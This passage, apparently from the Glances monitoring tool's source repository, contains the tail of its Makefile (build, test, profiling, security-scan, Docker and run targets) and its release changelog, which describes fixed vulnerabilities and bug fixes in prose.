venv-switch-to-min: ## Upgrade the virtualenv with minimal dependencies\n\t$(UV_RUN) sync --upgrade\n\nvenv-clean: ## Remove the virtualenv\n\trm -rf .venv\n\nvenv-dev: ## Create the virtualenv with dev dependencies\n\t$(UV_RUN) sync --dev --all-extras\n\t$(UV_RUN) run pre-commit install --hook-type pre-commit\n\n# ===================================================================\n# Requirements\n#\n# Note: the --no-hashes option should be used because pip (in CI) has\n# issues with hashes.\n# ===================================================================\n\nrequirements-min: ## Generate the requirements.txt files (minimal dependencies)\n\t$(UV_RUN) export --no-emit-workspace --no-hashes --no-group dev --output-file requirements.txt\n\nrequirements-all: ## Generate the all-requirements.txt files (all dependencies)\n\t$(UV_RUN) export --no-emit-workspace --no-hashes --all-extras --no-group dev --output-file all-requirements.txt\n\nrequirements-docker: ## Generate the docker-requirements.txt files (Docker specific dependencies)\n\t$(UV_RUN) export --no-emit-workspace --no-hashes --no-group dev --extra containers --extra web --extra mcp --output-file docker-requirements.txt\n\nrequirements-dev: ## Generate the dev-requirements.txt files (dev dependencies)\n\t$(UV_RUN) export --no-hashes --only-dev --output-file dev-requirements.txt\n\nrequirements: requirements-min requirements-all requirements-dev requirements-docker  ## Generate all the requirements files\n\nrequirements-upgrade: venv-upgrade requirements  ## Upgrade the virtualenv and regenerate all the requirements files\n\n# ===================================================================\n# Tests\n# ===================================================================\n\ntest: ## Run All unit tests\n\t$(UV_RUN) run pytest\n\ntest-core: ## Run Core unit tests\n\t$(UV_RUN) run pytest tests/test_core.py\n\ntest-plugins: ## Run Plugins unit tests\n\t$(UV_RUN) run pytest tests/test_plugin_*.py\n\ntest-api: ## Run API unit tests\n\t$(UV_RUN) run pytest tests/test_api.py\n\ntest-memoryleak: ## Run Memory-leak unit tests\n\t$(UV_RUN) run pytest tests/test_memoryleak.py\n\ntest-perf: ## Run Perf unit tests\n\t$(UV_RUN) run pytest tests/test_perf.py\n\ntest-restful: ## Run Restful API unit tests\n\t$(UV_RUN) run pytest tests/test_restful.py\n\ntest-webui: ## Run WebUI unit tests\n\t$(UV_RUN) run pytest tests/test_webui.py\n\ntest-xmlrpc: ## Run XMLRPC API unit tests\n\t$(UV_RUN) run pytest tests/test_xmlrpc.py\n\ntest-with-upgrade: venv-upgrade test ## Upgrade deps and run unit tests\n\ntest-export-csv: ## Run interface tests with CSV\n\t/bin/bash ./tests/test_export_csv.sh\n\ntest-export-json: ## Run interface tests with JSON\n\t/bin/bash ./tests/test_export_json.sh\n\ntest-export-influxdb-v1: ## Run interface tests with InfluxDB version 1 (Legacy)\n\t/bin/bash ./tests/test_export_influxdb_v1.sh\n\ntest-export-influxdb-v3: ## Run interface tests with InfluxDB version 3 (Core)\n\t/bin/bash ./tests/test_export_influxdb_v3.sh\n\ntest-export-timescaledb: ## Run interface tests with TimescaleDB\n\t/bin/bash ./tests/test_export_timescaledb.sh\n\ntest-export-nats: ## Run interface tests with NATS\n\t/bin/bash ./tests/test_export_nats.sh\n\ntest-exports: ## Tests all exports\n\t@for f in ./tests/test_export_*.sh; do /bin/bash \"$$f\"; done\n\n# ===================================================================\n# Linters, profilers and cyber security\n# ===================================================================\n\npre-commit: ## Run pre-commit hooks\n\t$(UV_RUN) run pre-commit run --all-files\n\nfind-duplicate-lines: ## Search for duplicate lines in files\n\t/bin/bash tests-data/tools/find-duplicate-lines.sh\n\nformat: ## Format the code\n\t$(UV_RUN) run ruff format .\n\nlint: ## Lint the code.\n\t$(UV_RUN) run ruff check . --fix\n\nlint-readme: ## Lint the main README.rst file\n\t$(UV_RUN) run rstcheck README.rst\n\t$(UV_RUN) run rstcheck README-pypi.rst\n\ncodespell: ## Run codespell to fix common misspellings in text files\n\t$(UV_RUN) run codespell -S .git,./docs/_build,./Glances.egg-info,./venv*,./glances/outputs,*.svg -L hart,bu,te,statics -w\n\nsemgrep: ## Run semgrep to find bugs and enforce code standards\n\t$(UV_RUN) run semgrep scan --config=auto\n\nprofiling-%: SLEEP = 3\nprofiling-%: TIMES = 30\nprofiling-%: OUT_DIR = docs/_static\n\ndefine DISPLAY-BANNER\n@echo \"Start Glances for $(TIMES) iterations (more or less 1 mins, please do not exit !)\"\nsleep $(SLEEP)\nendef\n\nprofiling-gprof: CPROF = glances.cprof\nprofiling-gprof: ## Callgraph profiling (need \"apt install graphviz\")\n\t$(DISPLAY-BANNER)\n\t$(UV_RUN) run python -m cProfile -o $(CPROF) run-venv.py -C $(CONF) --stop-after $(TIMES)\n\t$(UV_RUN) run gprof2dot -f pstats $(CPROF) | dot -Tsvg -o $(OUT_DIR)/glances-cgraph.svg\n\trm -f $(CPROF)\n\nprofiling-pyinstrument: ## PyInstrument profiling\n\t$(DISPLAY-BANNER)\n\t$(UV_RUN) add pyinstrument\n\t$(UV_RUN) run pyinstrument -r html -o $(OUT_DIR)/glances-pyinstrument.html -m glances -C $(CONF) --stop-after $(TIMES)\n\nprofiling-pyspy: ## Flame profiling\n\t$(DISPLAY-BANNER)\n\t$(UV_RUN) run py-spy record -o $(OUT_DIR)/glances-flame.svg -d 60 -s -- .venv/bin/python -m glances -C $(CONF) --stop-after $(TIMES)\n\nprofiling: profiling-gprof profiling-pyinstrument profiling-pyspy ## Profiling of the Glances software\n\ntrace-malloc: ## Trace the malloc() calls\n\t@echo \"Malloc test is running, please wait ~30 secondes...\"\n\t$(UV_RUN) run python -m glances -C $(CONF) --trace-malloc --stop-after 15 --quiet\n\nmemory-leak: ## Profile memory leaks\n\t$(UV_RUN) run python -m glances -C $(CONF) --memory-leak\n\nmemory-profiling: TIMES = 2400\nmemory-profiling: PROFILE = mprofile_*.dat\nmemory-profiling: OUT_DIR = docs/_static\nmemory-profiling: ## Profile memory usage\n\t@echo \"It's a very long test (~4 hours)...\"\n\trm -f $(PROFILE)\n\t@echo \"1/2 - Start memory profiling with the history option enable\"\n\t$(UV_RUN) run mprof run -T 1 -C run-venv.py -C $(CONF) --stop-after $(TIMES) --quiet\n\t$(UV_RUN) run mprof plot --output $(OUT_DIR)/glances-memory-profiling-with-history.png\n\trm -f $(PROFILE)\n\t@echo \"2/2 - Start memory profiling with the history option disable\"\n\t$(UV_RUN) run mprof run -T 1 -C run-venv.py -C $(CONF) --disable-history --stop-after $(TIMES) --quiet\n\t$(UV_RUN) run mprof plot --output $(OUT_DIR)/glances-memory-profiling-without-history.png\n\trm -f $(PROFILE)\n\n# Trivy installation: https://aquasecurity.github.io/trivy/latest/getting-started/installation/\ntrivy: ## Run Trivy to find vulnerabilities\n\t$(UV_RUN) run trivy fs ./glances/\n\nbandit: ## Run Bandit to find vulnerabilities\n\t$(UV_RUN) run bandit glances -r\n\n# ===================================================================\n# Docs\n# ===================================================================\n\ndocs: ## Create the documentation\n\t$(UV_RUN) run python -m glances -C $(CONF) --api-doc > ./docs/api/python.rst\n\t$(UV_RUN) run python ./generate_openapi.py\n\t$(UV_RUN) run python -m glances -C $(CONF) --api-restful-doc > ./docs/api/restful.rst\n\tcd docs && ./build.sh && cd ..\n\ndocs-server: docs ## Start a Web server to serve the documentation\n\t(sleep 2 && sensible-browser \"http://localhost:$(PORT)\") &\n\tcd docs/_build/html/ && .venv-uv/bin/uvrun python -m http.server $(PORT)\n\ndocs-jupyter:  ## Start Jupyter Notebook\n\t$(UV_RUN) run --with jupyter jupyter lab\n\nrelease-note: ## Generate release note\n\tgit --no-pager log $(LASTTAG)..HEAD --pretty=format:\"* %s\"\n\t@echo \"\\n\"\n\tgit --no-pager shortlog -s -n $(LASTTAG)..HEAD\n\ninstall: ## Open a Web Browser to the installation procedure\n\tsensible-browser \"https://github.com/nicolargo/glances#installation\"\n\n# ===================================================================\n# WebUI\n# Follow ./glances/outputs/static/README.md for more information\n# ===================================================================\n\nwebui webui%: DIR = glances/outputs/static/\n\nwebui-gen-config: ## Generate the Web UI config file\n\t$(UV_RUN) run python ./generate_webui_conf.py > ./glances/outputs/static/js/uiconfig.json\n\nwebui: webui-gen-config ## Build the Web UI\n\tcd $(DIR) && npm ci && npm run build\n\nwebui-audit: ## Audit the Web UI\n\tcd $(DIR) && npm audit\n\nwebui-audit-fix: webui-gen-config ## Fix audit the Web UI\n\tcd $(DIR) && npm ci && npm audit fix && npm run build\n\nwebui-update: webui-gen-config ## Update JS dependencies\n\tcd $(DIR) && npm update --save && npm ci && npm run build\n\n# ===================================================================\n# Packaging\n# ===================================================================\n\nflatpak: venv-upgrade ## Generate FlatPack JSON file\n\tgit clone https://github.com/flatpak/flatpak-builder-tools.git\n\t$(UV_RUN) run python ./flatpak-builder-tools/pip/flatpak-pip-generator glances\n\trm -rf ./flatpak-builder-tools\n\t@echo \"Now follow: https://github.com/flathub/flathub/wiki/App-Submission\"\n\n# Snap package is automatically build on the Snapcraft.io platform\n# https://snapcraft.io/glances\n# But you can try an offline build with the following command\nsnapcraft:\n\tsnapcraft\n\n# ===================================================================\n# Docker\n# Need Docker Buildx package (apt install docker-buildx on Ubuntu)\n# ===================================================================\n\ndefine MAKE_DOCKER_BUILD_RULES\n$($(DISTRO)_images): docker-$(DISTRO)-%: docker-files/$(DISTRO).Dockerfile\n\t$(DOCKER_BUILD) --target $$* -f $$< -t glances:local-$(DISTRO)-$$* .\nendef\n\n$(foreach DISTRO,$(DISTROS),$(eval $(MAKE_DOCKER_BUILD_RULES)))\n\ndocker: docker-alpine docker-ubuntu ## Generate local docker images\n\ndocker-alpine: $(alpine_images) ## Generate local docker images (Alpine)\ndocker-ubuntu: $(ubuntu_images) ## Generate local docker images (Ubuntu)\n\ndocker-alpine-full: ## Generate local docker image (Alpine full)\ndocker-alpine-minimal: ## Generate local docker image (Alpine minimal)\ndocker-alpine-dev: ## Generate local docker image (Alpine dev)\ndocker-ubuntu-full: ## Generate local docker image (Ubuntu full)\ndocker-ubuntu-minimal: ## Generate local docker image (Ubuntu minimal)\ndocker-ubuntu-dev: ## Generate local docker image (Ubuntu dev)\n\ntrivy-docker: ## Run Trivy to find vulnerabilities in Docker images\n\t$(UV_RUN) run trivy image glances:local-alpine-full\n\t$(UV_RUN) run trivy image glances:local-alpine-minimal\n\t$(UV_RUN) run trivy image glances:local-ubuntu-full\n\t$(UV_RUN) run trivy image glances:local-ubuntu-minimal\n\n# ===================================================================\n# Run\n# ===================================================================\n\nrun: ## Start Glances in console mode (also called standalone)\n\t$(UV_RUN) run python -m glances -C $(CONF)\n\nrun-debug: ## Start Glances in debug console mode (also called standalone)\n\t$(UV_RUN) run python -m glances -C $(CONF) -d\n\nrun-local-conf: ## Start Glances in console mode with the system conf file\n\t$(UV_RUN) run python -m glances\n\nrun-local-conf-hide-public: ## Start Glances in console mode with the system conf file and hide public information\n\t$(UV_RUN) run python -m glances --hide-public-info\n\nrun-like-htop: ## Start Glances with the same features than Htop\n\t$(UV_RUN) run python -m glances --disable-plugin network,ports,wifi,connections,diskio,fs,irq,folders,raid,smart,sensors,vms,containers,ip,amps --disable-left-sidebar\n\nrun-fetch: ## Start Glances in fetch mode\n\t$(UV_RUN) run python -m glances --fetch\n\n$(DOCKER_RUNTIMES): run-docker-%:\n\t$(DOCKER_RUN) $(DOCKER_OPTS) $(DOCKER_SOCKS) -it glances:local-$*\n\nrun-docker-alpine-minimal: ## Start Glances Alpine Docker minimal in console mode\nrun-docker-alpine-full: ## Start Glances Alpine Docker full in console mode\nrun-docker-alpine-dev: ## Start Glances Alpine Docker dev in console mode\nrun-docker-ubuntu-minimal: ## Start Glances Ubuntu Docker minimal in console mode\nrun-docker-ubuntu-full: ## Start Glances Ubuntu Docker full in console mode\nrun-docker-ubuntu-dev: ## Start Glances Ubuntu Docker dev in console mode\n\ngenerate-ssl: ## Generate local and sel signed SSL certificates for dev (need mkcert)\n\tmkcert glances.local localhost 120.0.0.1 0.0.0.0\n\nrun-webserver: ## Start Glances in Web server mode\n\t$(UV_RUN) run python -m glances -C $(CONF) -w\n\nrun-webserver-mcp: ## Start Glances in Web server mode with MCP\n\t$(UV_RUN) run python -m glances -C $(CONF) -w --enable-mcp\n\nrun-webserver-local-conf: ## Start Glances in Web server mode with the system conf file\n\t$(UV_RUN) run python -m glances -w\n\nrun-webserver-mcp-local-conf: ## Start Glances in Web server mode with MCP and the system conf file\n\t$(UV_RUN) run python -m glances -w --enable-mcp\n\nrun-webserver-local-conf-hide-public: ## Start Glances in Web server mode with the system conf file and hide public info\n\t$(UV_RUN) run python -m glances -w --hide-public-info\n\nrun-webui: run-webserver  ## Start Glances in Web server mode\n\nrun-restapiserver: ## Start Glances in REST API server mode\n\t$(UV_RUN) run python -m glances -C $(CONF) -w --disable-webui\n\nrun-server: ## Start Glances in server mode (RPC)\n\t$(UV_RUN) run python -m glances -C $(CONF) -s\n\nrun-client: ## Start Glances in client mode (RPC)\n\t$(UV_RUN) run python -m glances -C $(CONF) -c localhost\n\nrun-browser: ## Start Glances in browser mode (RPC)\n\t$(UV_RUN) run python -m glances -C $(CONF) --browser\n\nrun-web-browser: ## Start Web Central Browser\n\t$(UV_RUN) run python -m glances -C $(CONF) -w --browser\n\nrun-issue: ## Start Glances in issue mode\n\t$(UV_RUN) run python -m glances -C $(CONF) --issue\n\nrun-multipass: ## Install and start Glances in a VM (only available on Ubuntu with multipass already installed)\n\tmultipass launch -n glances-on-lts lts\n\tmultipass exec glances-on-lts -- sudo snap install glances\n\tmultipass exec glances-on-lts -- glances\n\tmultipass stop glances-on-lts\n\tmultipass delete glances-on-lts\n\nshow-version: ## Show Glances version number\n\t$(UV_RUN) run python -m glances -C $(CONF) -V\n"
  },
  {
    "path": "NEWS.rst",
    "content": "==============================================================================\n                                Glances ChangeLog\n==============================================================================\n\n=============\nVersion 4.5.2\n=============\n\nBug corrected:\n\n* System display error on \"little\" terminal #3469\n\nSecurity patches:\n\n* Default CORS Configuration Allows Cross-Origin Credential Theft - Correct CVE-2026-32610\n* Incomplete Secrets Redaction: /api/v4/args Endpoint Leaks Password Hash and SNMP Credentials - Correct CVE-2026-32609\n* REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding - Correct CVE-2026-32632\n* Unauthenticated API Exposure / Add warning message on startup - Correct CVE-2026-32596\n* SQL Injection in DuckDB Export via Unparameterized DDL Statements - Correct CVE-2026-32611\n* Command Injection via Process Names in Action Command Templates - Correct CVE-2026-32608\n* Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers - Correct CVE-2026-32634\n* Browser API Exposes Reusable Downstream Credentials via  - Correct CVE-2026-32633\n\nBreaking changes: This release addresses 8 security vulnerabilities (see below).\nSeveral of the mitigations change observable behaviour. Users who run Glances in\nweb server or API mode (``-w`` / ``--enable-webserver``) should read the items below before upgrading.\n\n* [CVE-2026-32632] Host header validation is now enforced on the\n  built-in web server. Requests whose ``Host`` header does not match\n  ``localhost`` or ``127.0.0.1`` will be rejected with HTTP 400 by\n  default. Users accessing Glances through a reverse proxy, a custom\n  hostname, or a non-loopback IP address must declare the allowed\n  values with the new ``allowed_hosts`` key in the ``[outputs]``\n  section of ``glances.conf`` (comma-separated list). This was\n  already required for the MCP server since 4.5.1; it now also\n  applies to the main REST/WebUI server.\n\n* [CVE-2026-32610] The default CORS policy is now restrictive.\n  Previously, the server replied with ``Access-Control-Allow-Origin: *``\n  which allowed any web page to issue credentialed cross-origin requests\n  against the API. The wildcard is removed. Users running third-party\n  web dashboards or custom front-ends on a different origin must\n  explicitly list allowed origins with the ``cors_origins`` key in the\n  ``[outputs]`` section of ``glances.conf``.\n\n* [CVE-2026-32609] Sensitive fields are now redacted on unauthenticated\n  API responses. The ``/api/4/args`` and ``/api/4/config`` endpoints no\n  longer return password hashes, SSL key paths, or SNMP community\n  strings to callers that have not authenticated. Scripts and\n  integrations that relied on reading these values from the API must\n  now authenticate (token or password) to receive them.\n\n* [CVE-2026-32633, CVE-2026-32634] The Browser (multi-server mode)\n  no longer forwards configured credentials to remote Glances servers,\n  whether discovered via Zeroconf or listed in the ``[serverlist]``\n  section. Credentials are only sent after the user explicitly logs in\n  to an individual server. Automated setups that relied on transparent\n  credential propagation must switch to per-server authentication.\n\n* [CVE-2026-32596] A WARNING is now printed to stdout at startup when\n  the REST API is running without authentication (no ``--password`` and\n  no API token configured). This is an informational message; the\n  unauthenticated mode itself is unchanged and remains the default for\n  private-network deployments. Startup scripts or monitoring pipelines\n  that treat any stderr/stdout output as a failure may need to be\n  updated.\n\n* [CVE-2026-32611] The DuckDB export module now uses parameterized DDL\n  statements. Table names derived from plugin or metric names are\n  sanitized before use. Existing DuckDB databases whose table names\n  contained characters that were previously interpolated verbatim may\n  need to be recreated.\n\n* [CVE-2026-32608] Process names used in ``[action]`` command templates\n  are now shell-escaped before substitution. Templates that relied on\n  unescaped special characters in process names to construct compound\n  shell expressions will no longer behave as before.\n\nThanks to @psyberck for the UI patch and @DhiyaneshGeek / @restriction for CVEs reports.\n\n\n=============\nVersion 4.5.1\n=============\n\nBug corrected:\n\n* DiskIO plugin crashes Glances on OpenBSD (regression from 4.5.0.5) #3452\n* DiskIO plugin does not handle empty args in msg_curse() #3429\n* Filesystem plugin KeyError on /etc/hostname in get_view() #3470\n* Sensors show/hide by alias name not working #3439\n* SMART plugin non-uniform key types cause TypeError with InfluxDB2 export #3449\n* WebUI displays incorrect temperature values in Fahrenheit mode #3450\n* AMD GPU plugin PermissionError on /usr/share/libdrm/amdgpu.ids crashes Glances at startup (Snap) #3456\n* NVIDIA GPU not detected under Snap strict confinement #3292\n* MCP server rejects external host connections due to DNS rebinding protection #3467\n* --enable-history flag silently ignored #3416\n\nEnhancements:\n\n* Intel GPU monitoring support added to GPU plugin #994\n* Docker container health status and alerts #3402\n* Add libvirt client to Docker image for VM monitoring #3436\n* Add DeviceName key to SMART plugin device stats #3457\n* All plugins now expose min/max/mean statistics since startup #3462\n* Improved CPU plugin display on macOS (graceful handling of unavailable fields) #3464\n\nSecurity patches:\n\n* Unauthenticated Configuration Secrets Exposure - Correct CVE-2026-30928\n* SQL Injection via Process Names in TimescaleDB Export - Correct CVE-2026-30930\n\nCode quality:\n\n* JSON serializer hardened with comprehensive type normalization #3454\n* Reduce cyclomatic complexity of split_esc() in globals #3461\n* Add plugin tests to Makefile #3446\n* Fix code block formatting in documentation #3447\n\nThanks to all the contributors for this version: @YamiYukiSenpai, @amzon-ex,\n@axodentally, @fpusan, @janusn, @kleinmatic, @lcheylus, @lubomir-moric, @mark-rahal,\n@mikemhenry, @Ambika-Patidar, @AbdelhamidKhald, @Julietmgbole,\n@sdoshi2061, @cjlindem, @theamanrawat\n\n===============\nVersion 4.5.0.5\n===============\n\nBugs corrected:\n\n* Regression in the process selection with Glances 4.5.0 #3444\n* [Docker image] Basic Auth no longer works in browser after adding Bearer token support #3434\n* Error fetching ip with urlopen_auth() - extra function argument #3438\n\n===============\nVersion 4.5.0.4\n===============\n\nContinious integration:\n\n* Remove cassandra-driver dependency because it breaks build on Docker Alpine image\n\n===============\nVersion 4.5.0.2\n===============\n\nBugs corrected:\n\n* NPU plugin makes Glances 4.5.0.1 crashing on start #3425\n* Glances 4.5.0.1 not reporting docker container details #3426\n\n===============\nVersion 4.5.0.1\n===============\n\nBugs corrected:\n\n* Docker image for Glances release 4.5.0 failed to start if no [outputs] section in the glances.conf file #3424\n\n=============\nVersion 4.5.0\n=============\n\nEnhancements:\n\n* NPU Monitoring #2694\n* Implement API Token for the ResfulAPI server #1995\n* ZFS Monitoring #873\n* NVME support #3355\n* Add export to DuckDB database #3205\n* Add CPU core number field to processlist #3411\n* Add support for escape ':' in alias name #3345\n\nBugs corrected:\n\n* CPU Speed / Max Speed wrong in WebUI #3134\n* TIME+ in Web UI Shows Incorrect Large Values #3401\n* ERROR: Exception in ASGI application KeyErro used #3409\n* InfluxDB Exports for AMPs can mismatch types for result field #3419\n* Fix quicklook in case psutil.cpu_freq().max=0.0 #3379\n* Get amdgpu name from amdgpu.id #3376\n* Fetch option is not compliant with client/server mode #3352\n* Glances won't start when using snmp discovery with parameter -c #3354\n* Avoid empty space when Quicklook plugin is displayed #3413\n\nContinious integration and documentation:\n\n* Reduce code complexity #2801\n* Docker GPU not showing up #3393\n* Potential fix for code scanning alert no. 47: Clear-text logging of sensitive information #3418\n* Test: Add comprehensive unit tests for core plugins #3422\n* README: Syntax fix (missing space) #3420\n* fix(security): resolve B701 (Jinja2) and B113 (timeout) vulnerabilities #3383\n* Update license specification to SPDX format #3381\n* Make a simple Jupyter notebook for the Glances API #3350\n* Improve Docker build pipeline #3336\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n\n- ffleischer\n- drake7707\n- Ambika-Patidar\n\n=============\nVersion 4.4.1\n=============\n\nBug corrected:\n\n* Restful API issue after a while (stats are no more updated) #3333\n\n=============\nVersion 4.4.0\n=============\n\nBreaking changes:\n\n* A new Python API is now available to use Glances as a Python lib in your hown development #3237\n* In the process list, the long command line is now truncated by default. Use the arrow keys to show the full command line. SHIFT + arrow keys are used to switch between column sorts (TUI).\n* Prometheus export format is now more user friendly (see detail in #3283)\n\nEnhancements:\n\n* Make a Glances API in order to use Glances as a Python lib #3237\n* Add a new --fetch (neofetch like) option to display a snapshot of the current system status #3281\n* Show used port in container section #2054\n* Show long command line with arrow key #1553\n* Sensors plugin refresh by default every 10 seconds\n* Do not call update if a call is done to a specific plugin through the API #3033\n* [UI] Process virtual memory display can be disable by configuration #3299\n* Choose between used or available in the mem plugin #3288\n* [Experimental] Add export to DuckDB database #3205\n* Add Disk I/O Latency stats #1070\n* Filter fields to export #3258\n* Remove .keys() from loops over dicts #3253\n* Remove iterator helpers #3252\n\nBug corrected:\n\n* [MACOS] Glances not showing Processes on MacOS #3100\n* Last dev build broke Homepage API calls ? only 1 widget still working #3322\n* Cloud plugin always generate communication with 169.254.169.254, even if the plugin is disabled #3316\n* API response delay (3+ minutes) when VMs are running #3317\n* [WINDOWS] Glances do not display CPU stat correctly #3155\n* Glances hangs if network device (NFS) is no available #3290\n* Fix prometheus export format #3283\n* Issue #3279 zfs cache and memory math issues #3289\n* [MACOS]  Glances crashes when I try to filter #3266\n* Glances hang when killing process with muliple CTRL-C #3264\n* Issues after disabling system and processcount plugins #3248\n* Headers missing from predefined fields in TUI browser machine list #3250\n* Add another check for the famous Netifaces issue - Related to #3219\n* Key error 'type' in server_list_static.py (load_server_list) #3247\n\nContinious integration and documentation:\n\n* Glances now use uv for the dev environment #3025\n* Glances is compatible with Python 3.14 #3319\n* Glances provides requirements files with specific versions for each release\n* Requirements files are now generated dynamically with the make requirements or requirements-upgrade target\n* Add duplicate line check in pre-commit (strange behavor with some VScode extension)\n* Solve issue with multiprocessing exception with Snap package\n* Add a test script for identify CPU consumption of sensor plugin\n* Refactor port to take into account netifaces2\n* Correct issue with Chrome driver in WebUI unit test\n* Upgrade export test with InfluxDB 1.12\n* Fix typo of --export-process-filter help message #3314\n* In the outdated feature, catch error message if Pypi server not reachable\n* Add unit test for auto_unit\n* Label error in docs #3286\n* Put WebUI conf generator in a dedicated script\n* Refactor the Makefile to generate WebUI config file for all webui targets\n* Update sensors documentation #3275\n* Update docker compose env quote #3273\n* Update docker-compose.yml #3249\n* Update API doc generation\n* Update README with nice icons #3236\n* Add documentation for WebUI test\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n- Adi\n- Bennett Kanuka\n- Tim Potter\n- Ariel Otilibili\n-\tBoris Okassa\n-\tLawrence\n-\tShohei YOSHIDA\n-\tjmwallach\n-\tkorn3r\n\n=============\nVersion 4.3.3\n=============\n\nBug corrected:\n\n* Something in 4.3.2 broke the home assistant add-on for Glances #3238\n\nThanks to the FastAPI and Home Assistant community for the support.\n\n=============\nVersion 4.3.2\n=============\n\nEnhancements:\n\n* Add stats about running VMS (qemu/libvirt/kvm support through virsh) #1531\n* Add support for InfluxDB 3 Core #3182\n* (postgre)SQL export support / TimeScaleDB #2814\n* CSV column name now include the plugin name - Related to #2394\n* Make all results from amps plugins exportable #2394\n* Make --stdout (csv and json) compliant with client/server mode #3235\n* API history endpoints shows times without timezone #3218\n* FR: Sort Sensors my name in proper number order #3132\n* In the FS module, do not display threshold for volume mounted in 'ro' (read-only) #3143\n* Add a new field in the process list to identifie Zombie process #3178\n* Update plugin containers display and order #3186\n* Implement a basic memory cache with TTL for API call (set to ~1 second) #3202\n* Add container inactive_file & limit to InfluxDB2 export #3206\n\nBug corrected:\n\n* [GPU] AMD Plugin: Operation not permitted #3125\n* Container memory stats not displayed #3142\n* [WEBUI] Irix mode (per core instead of per CPU percentage) not togglable #3158\n* Related to iteritems, itervalues, and iterkeys are not more needed in Python 3 #3181\n* Glances Central Browser should use name instead of IP adress for redirection #3103\n* Glances breaks if Podman container is started while it is running #3199\n\nContinious integration and documentation:\n\n* Add a new option --print-completion to generate shell tab completion - #3111\n* Improve Restful API documentation embeded in FastAPI #2632\n* Upgrade JS libs #3147\n* Improve unittest for CSV export #3150\n* Improve unittest for InfluxDB plugin #3149\n* Code refactoring - Rename plugin class to <Plugin name>Plugin instead of PluginModel #3169\n* Refactor code to limit the complexity of update_views method in plugins #3171\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n- Ariel Otilibili\n- kenrmayfield\n\n=============\nVersion 4.3.1\n=============\n\nEnhancements:\n\n* [WebUI] Top processes extended stats and processes filter in Web server mode #410\n* I'd like a feature to make the forground color for colored background white #3119\n* -disable-bg in ~/.config/glances.conf #3113\n* Entry point in the API to get extended process stats #3095\n* Replace netifaces by netifaces-plus dependencies #3053\n* Replace docker by containers in glances-grafana-flux.json #3118\n\nBug corrected:\n\n* default_config_dir: Fix config path to include glances/ directory #3106\n* Cannot set warning/critical temperature for a specific sensor needs test #3102\n* Try to reduce latency between stat's update and view - #3086\n* Error on Cloud plugin initialisation make TUI crash #3085\n\nContinious integration:\n\n* Add Selenium to test WebUI #3044\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n- Alexander Kuznetsov\n- Jonathan Chemla\n- mizulike\n\n===============\nVersion 4.3.0.8\n===============\n\nBug corrected:\n\n* IP plugin broken with Netifaces2 #3076\n* WebUI if is notresponsive on mobile #3059 (second run)\n\n===============\nVersion 4.3.0.7\n===============\n\nBug corrected:\n\n* WebUI if is notresponsive on mobile #3059\n\n===============\nVersion 4.3.0.6\n===============\n\nBug corrected:\n\n*  Browser mode do not working with the sensors plugin #3069\n*  netifaces is deprecated, use netifaces-plus or netifaces2 #3055\n\nContinuous integration and documentation:\n\n* Update alpine Docker tag to v3.21 #3061\n\n===============\nVersion 4.3.0.5\n===============\n\nBug corrected:\n\n*  WebUI errors in 4.3.0.4 on iPad Air (and Browser with low resolution) #3057\n\n===============\nVersion 4.3.0.4\n===============\n\nContinuous integration and documentation:\n\n* Pin Python version in Ubuntu image to 3.12\n\n===============\nVersion 4.3.0.3\n===============\n\nContinuous integration and documentation:\n\n* Pin Alpine image to 3.20 (3.21 is not compliant with Netifaces) Related to #3053\n\n===============\nVersion 4.3.0.2\n===============\n\nEnhancements:\n\n* Revert \"Replace netifaces by netifaces-plus\" #3053 because it break build on Alpine Image\n\n===============\nVersion 4.3.0.1\n===============\n\nEnhancements:\n\n* Replace netifaces by netifaces-plus #3053\n\nBug corrected:\n\n* CONTAINERS section missing in 4.3.0 WebUI #3052\n\n===============\nVersion 4.3.0\n===============\n\nEnhancements:\n\n* Web Based Glances Central Browser #1121\n* Ability to specify hide or show for smart plugin #2996\n* Thread mode ('j' hotkey) is not taken into accound in the WebUI #3019\n* [WEBUI] Clear old alert messages in the WebUI #3042\n* Raise an (Alert) Event for a group of sensors #3049\n* Allow processlist columns to be selected in config file #1524\n* Allow containers columns to be selected in config file #2722\n* [WebUI] Unecessary space between Processcount and processlist #3032\n* Add comparable NVML_LIB check for Windows #3000\n* Change the default path for graph export to /tmp/glances\n* Improve CCS of WebUI #3024\n\nBug corrected:\n\n* Thresholds not displayed in the WebUI for the DiskIO plugin #1498\n* FS module alias configuration do not taken into account everytime #3010\n* Unexpected behaviour while running glances in docker with --export influxdb2 #2904\n* Correct issue when key name contains space - Related to #2983\n* Issue with ports plugin (for URL request) #3008\n* Network problem when no bitrate available #3014\n* SyntaxError: f-string: unmatched '[' in server list (on the DEVELOP branch only) #3018\n* Uptime for Docker containers not working #3021\n* WebUI doesn't display valid time for process list #2902\n* Bug In the Web-UI, Timestamps for 'Warning or critical alerts' are showing incorrect month #3023\n* Correct display issue on Containers plugin in WebUI #3028\n\nContinuous integration and documentation:\n\n* Bumped minimal Python version to 3.9 #3005\n* Make the glances/outputs/static/js/uiconfig.json generated automaticaly from the make webui task\n* Update unit-test for Glances Central Browser\n* Add unit-test for new entry point in the API (plugin/item/key)\n* Add a target to start Glances with Htop features\n* Try new build and publish to Pypi CI actions\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n\n* Ariel Otilibili for code quality improvements #2801\n\n===============\nVersion 4.2.1\n===============\n\nEnhancements:\n\n* [WEBUI] Came back to default Black Theme / Reduce font size #2993\n* Improve hide_zero option #2958\n\nBug corrected:\n\n* Possible memory leak #2976\n* Docker/Podman shoud not flood log file with ERROR if containers list can not be retreived #2994\n* Using \"-w\" option gives error: NameError: name 'Any' is not defined #2992\n* Non blocking error message when Glances starts from a container (alpine-dev image) #2991\n\nContinuous integration and documentation:\n\n* Migrate from setup.py to pyproject.yml #2956\n* Make pyproject.toml's version dynamic #2990\n\nThanks to all contributors and bug reporters !\n\nSpecial thanks to:\n\n* @branchvincent for pyproject migration\n\n===============\nVersion 4.2.0\n===============\n\nEnhancements:\n\n* [WEBUI] Migration to bootstrap 5 #2914\n* New Ubuntu Multipass VM orchestartor plugin #2252\n* Show only active Disk I/O (and network interface) #2929\n* Make the central client UI configurable (example: GPU status) #1289\n* Please make py-orjson optional: it pulls in dependency on Rust #2930\n* Use defusedxml lib #2979\n* Do not 